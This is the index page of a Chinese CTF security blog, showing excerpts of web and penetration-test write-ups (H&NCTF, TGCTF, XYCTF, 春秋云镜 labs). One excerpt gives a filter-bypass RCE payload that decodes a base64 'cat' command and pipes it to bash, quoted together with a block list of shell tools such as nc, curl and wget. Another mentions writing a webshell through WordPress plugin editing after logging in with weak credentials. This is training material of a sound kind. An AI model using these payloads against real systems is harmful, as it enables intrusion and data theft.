Welcome to my Blog!

这里主要是用来记录一些个人的学习笔记和解题思路

H&NCTF-2025-Web-Writeup

Web Really_Ez_Rce 源码 1<?php 2header('Content-Type: text/html; charset=utf-8'); 3highlight_file(__FILE__); 4error_reporting(0); 5 6if (isset($_REQUEST['Number'])) { 7 $inputNumber = $_REQUEST['Number']; 8 9 if (preg_match('/\d/', $inputNumber)) { 10 die("不行不行,不能这样"); 11 } 12 13 if (intval($inputNumber)) { 14 echo "OK,接下来你知道该怎么做吗"; 15 16 if (isset($_POST['cmd'])) { 17 $cmd = $_POST['cmd']; 18 19 if (!preg_match( 20 '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i', 21 $cmd 22 )) { 23 echo "你传的参数似乎挺正经的,放你过去吧<br>"; 24 system($cmd); 25 } else { 26 echo "nonono,hacker!!!"; 27 } 28 } 29 } 30} Payload: POST: Number[]=1&cmd=ec``ho Y2F0IC9mKg== | ba``se64 -d | bas``h Watch 出题人写了一个基于 ntdll.dll 的 Windows NT 原生 API 调用实现的文件读取库 ...

2025-06-08 · 13 分钟 · Xrntkk

D^3CTF-2025-Web-Writeup

Web 比赛时就打出了d3invitation和d3model,比赛结束复现一下,还是学到了不少新东西。 d3invitation 第一次在大赛中拿到血,纪念一下(新手就是爱记录 ...

2025-06-02 · 6 分钟 · Xrntkk

春秋云镜-长城杯2024-Writeup

参考文章 春秋云境-GreatWall(长城杯半决赛) – fushulingのblog 春秋云境 GreatWall(第一届长城杯半决赛渗透题) - Dr0n’s blog 春秋云境-GreatWall-先知社区 Thinkphp5.2.3 先扫一下端口,扫出来8080端口有个后台服务 ...

2025-05-20 · 11 分钟 · Xrntkk

春秋云镜-网鼎2022半决复盘-Writeup

FLAG1 入口机有一个wordpress服务 wpscan没扫出漏洞,尝试一下弱口令没想到登进去了 http://39.99.146.5/wp-admin/ admin/123456 直接在Edit Plugins就可以写马了 在主题的akismet.php写个马 ...

2025-05-12 · 9 分钟 · Xrntkk

TGCTF-2025-Web-Writeup

Web (ez)upload hint写有源码泄露 index.php.bak拿源码 1<?php 2define('UPLOAD_PATH', __DIR__ . '/uploads/'); 3$is_upload = false; 4$msg = null; 5$status_code = 200; // 默认状态码为 200 6if (isset($_POST['submit'])) { 7 if (file_exists(UPLOAD_PATH)) { 8 $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess"); 9 10 if (isset($_GET['name'])) { 11 $file_name = $_GET['name']; 12 } else { 13 $file_name = basename($_FILES['name']['name']); 14 } 15 $file_ext = pathinfo($file_name, PATHINFO_EXTENSION); 16 17 if (!in_array($file_ext, $deny_ext)) { 18 $temp_file = $_FILES['name']['tmp_name']; 19 $file_content = file_get_contents($temp_file); 20 21 if (preg_match('/.+?</s', $file_content)) { 22 $msg = '文件内容包含非法字符,禁止上传!'; 23 $status_code = 403; // 403 表示禁止访问 24 } else { 25 $img_path = UPLOAD_PATH . $file_name; 26 if (move_uploaded_file($temp_file, $img_path)) { 27 $is_upload = true; 28 $msg = '文件上传成功!'; 29 } else { 30 $msg = '上传出错!'; 31 $status_code = 500; // 500 表示服务器内部错误 32 } 33 } 34 } else { 35 $msg = '禁止保存为该类型文件!'; 36 $status_code = 403; // 403 表示禁止访问 37 } 38 } else { 39 $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; 40 $status_code = 404; // 404 表示资源未找到 41 } 42} 43 44// 设置 HTTP 状态码 45http_response_code($status_code); 46 47// 输出结果 48echo json_encode([ 49 'status_code' => $status_code, 50 'msg' => $msg, 51]); 审计一下代码,看到有个name,可以对文件名进行修改,想到目录穿越 ...

2025-04-18 · 7 分钟 · Xrntkk

XYCTF-2025-Web-Writeup

Web Signin 题目 1# -*- encoding: utf-8 -*- 2''' 3@File : main.py 4@Time : 2025/03/28 22:20:49 5@Author : LamentXU 6''' 7''' 8flag in /flag_{uuid4} 9''' 10from bottle import Bottle, request, response, redirect, static_file, run, route 11with open('../../secret.txt', 'r') as f: 12 secret = f.read() 13 14app = Bottle() 15@route('/') 16def index(): 17 return '''HI''' 18@route('/download') 19def download(): 20 name = request.query.filename 21 if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name: 22 response.status = 403 23 return 'Forbidden' 24 with open(name, 'rb') as f: 25 data = f.read() 26 return data 27 28@route('/secret') 29def secret_page(): 30 try: 31 session = request.get_cookie("name", secret=secret) 32 if not session or session["name"] == "guest": 33 session = {"name": "guest"} 34 response.set_cookie("name", session, secret=secret) 35 return 'Forbidden!' 36 if session["name"] == "admin": 37 return 'The secret has been deleted!' 38 except: 39 return "Error!" 40run(host='0.0.0.0', port=8080, debug=False) 目录穿越拿secret ...

2025-04-10 · 6 分钟 · Xrntkk

春秋云镜-Exchange-Writeup

靶标介绍: Exchange 是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag,分布于不同的靶机。 *注意:该靶场只有4个flag,如果提交完4个flag后仍未攻克成功,请关闭环境提交反馈。 ...

2025-04-08 · 12 分钟 · Xrntkk

春秋云镜-Time-Writeup

靶标介绍: Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。 ...

2025-04-08 · 14 分钟 · Xrntkk